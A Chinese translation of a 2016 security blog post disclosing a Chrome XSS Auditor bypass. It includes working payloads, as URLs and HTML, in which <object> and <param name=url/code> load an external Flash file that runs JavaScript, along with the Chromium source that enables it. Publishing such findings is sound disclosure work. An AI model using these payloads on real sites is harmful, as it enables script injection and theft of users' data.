利用冷门<param>标签绕过XSS审计器

本文披露了通过使用冷门的<param>标签name属性值为"code"或"url"来绕过Chrome浏览器XSS审计器的技术细节。该方法利用Chrome为兼容性保留的特定代码逻辑,可加载恶意Flash文件执行JavaScript,已在Chrome Canary 57上验证有效。

利用冷门<param>标签绕过XSS审计器

大家好! 我在阅读Chromium代码时偶然发现了一个XSS审计器的绕过方法。 这篇短文将分享这个绕过技巧。我已在Chrome Canary 57上确认有效。

绕过方式如下:

1
2
3
4
https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E

<object allowscriptaccess=always>
<param name=url value=https://l0.cm/xss.swf>

以下方式同样有效:

1
2
3
4
https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E

<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>

在发现HTMLObjectElement.cpp中的代码之前,我不知道Chrome支持这样的参数:

1
2
3
4
if (url.isEmpty() && urlParameter.isEmpty() &&
    (equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
     equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
  urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());

使用<param name="src" value="//attacker/xss.swf"><param name="movie" value="//attacker/xss.swf">会被XSS审计器拦截。但我注意到codeurl参数不会被拦截。利用这一点,我们可以加载Flash并执行JavaScript。根据源代码注释,Chrome似乎是为了兼容性而支持此功能。但至少我确认它在IE/Edge和Firefox上无效。我认为Chrome可以移除这个支持功能。

以上就是关于使用<param>标签绕过XSS审计器的内容。感谢阅读!

发布时间:2016年12月27日 凌晨4:01
作者:Masato Kinugawa
标签:Chrome, Flash, Security, XSS, XSSAuditor

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计